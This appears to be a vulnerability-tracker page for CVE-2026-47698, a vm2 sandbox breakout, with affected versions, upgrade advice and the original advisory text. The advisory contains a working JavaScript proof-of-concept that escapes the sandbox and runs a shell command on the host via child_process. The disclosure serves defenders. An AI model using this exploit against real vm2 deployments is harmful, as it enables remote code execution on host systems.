Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
9.8

CVE-2026-47698: vm2: Malicious Code Escapes Sandbox on Host System

CVE-2026-47698 · published 17 days ago
Summary

The vm2 sandboxing system has a security weakness that allows attackers to write code that can break free from the sandbox and execute malicious commands on the host system. This means that if an attacker can run code inside the vm2 sandbox, they may be able to access and control the host system. To protect against this, you should update to the latest version of vm2 and ensure that any code running in the sandbox is thoroughly reviewed for security.

What to do
  • Update GitHub Actions vm2 to version 3.11.6.
Affected software
Ecosystem VendorProductAffected versions
npm GitHub Actions vm2 <= 3.11.5
Fix: upgrade to 3.11.6
– patriksimek vm2 < 3.11.6
Original advisory text
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.

### PoC

```js
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}

try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}

f();
`));
```

### Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Severity
9.8 Critical
CVSS 3.1: 9.8 (GHSA)
Exploitation
EPSS <1%
Type
CWE-913Improper Control of Dynamically-Managed Code Resources
Timeline
Published17 Aug 2026
Updated3 Sep 2026
First seen17 Aug 2026
Sources
CVE-2026-47698 · MITRE
Monitor software like this
Free during beta